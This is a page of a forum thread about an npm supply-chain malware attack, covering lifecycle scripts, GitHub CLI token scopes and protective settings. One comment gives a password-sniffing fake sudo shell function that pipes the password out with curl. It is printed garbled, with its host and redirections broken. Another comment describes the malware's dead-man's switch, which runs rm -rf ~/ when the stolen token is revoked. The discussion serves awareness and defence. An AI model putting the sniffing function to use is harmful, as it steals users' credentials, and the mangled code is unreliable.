261–270 of 501 posts
Earlier quoted context omitted.
The baffling part is why it takes hours for the npm security team to unpublish packages that contain malware, as attested by multiple independent sources? That should be able to happen in minutes.
Who vets the sources, and using what scheme?
Earlier quoted context omitted.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }
sudo don't acccept password from stdin. it takes a tty
This is another indicator that "lifecycle" scripts in NPM (or other packaging systems, except perhaps Debian or RPM) are an idea we need to learn to live without. At most, packages should be able to emit a message to the user asking them to invoke a one-liner if a setup action is truly necessary. As a side benefit, eliminating package scripts will contribute toward reproducibility of Docker and VM images. I realize t…
Earlier quoted context omitted.
I have noticed this behaviour happening more often too, it's very confusing. Usually when texting with younger Gen Z people.
This has always been happening
Earlier quoted context omitted.
I tested approving a deployment via API last week w/ my gh cli token (well, had claude do it while I watched). Again, I really want to be wrong about this, but my testing showed that it is indeed trivial to use the default token from my gh cli to approve via API. (repo admin scope, which I have bc I am admin on said repo) Nothing in this link [1] proves what I said, but it is the test repo I was just conducting this…
You're right. Found the relevant docs+API calls: https://docs.github.com/en/rest/actions/workflow-runs?apiVer... Also for a Pending Deployment: https://docs.github.com/en/rest/actions/workflow-runs#review... Both of these need `repo` scope, which you can avoid giving on org-level repos. For fine-grained tokens: "Deployments" repository permissions (write) is needed, which I wouldn't usually give to a token.
What upthread is talking about is the Github CLI app, `gh`; it doesn't use a fine-grained tokens, it uses OAuth app tokens. I.e., if you look at fine grain tokens (Setting → Developer settings → Personal access tokens → Fine-grained token), you will not see anything corresponding to `gh` there, as it does not use that form of authentication. It is under Settings → Applications → Authorized OAuth Apps as "Github CLI".
I just ran through the login sequence to double-check, but the permissions you grant it are not configurable during the login sequence, and it requests an all-encompassing token, as the upthread suggests.
Another way to come at this is to look at the token itself: gh's token is prefixed with `gho_` (the prefix for such OAuth apps), and fine-grained tokens are prefixed with `github_pat_` (sic)¹
¹(PATs are prefixed with `ghp_`, though I guess fine-grained tokens are also sometimes called fine-grain PATs… so, maybe the prefix is sensible.)
Earlier quoted context omitted.
> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…
FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside
Earlier quoted context omitted.
> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…
FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years." /aside
Reminder to secure your npm environments. https://gajus.com/blog/3-pnpm-settings-to-protect-yourself-f... Just a handful of settings to save a whole lot of trouble.
In aube you get all this out of the box plus a lifecycle jail (next MV will have that on by default) and defaults to trustPolicy=no-downgrade (would not have helped here but still a good default). It has the strongest security posture of any node pm. https://aube.en.dev/security.html#jailed-lifecycle-scripts
Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...
I'm not quite sure of what this really accomplishes, like is it just M.A.D.? Like at that point the creds have been stolen and the whole machine is toast.
Let's say the attack becomes hugely succesful and the worm spreads to thousands of devices. GitHub/NPM could just revoke all compromised tokens (assuming they have a way to query) stopping the worm in its tracks. But because of the Dead Mans Switch, they'd know that in doing so, they'd be bricking thousands of their user's devices. So it effectively moves the responsibility to revoke compromised tokens from a central authority that could do it en-masse, to each individual who got compromised, greatly improving the worm's chances of survival.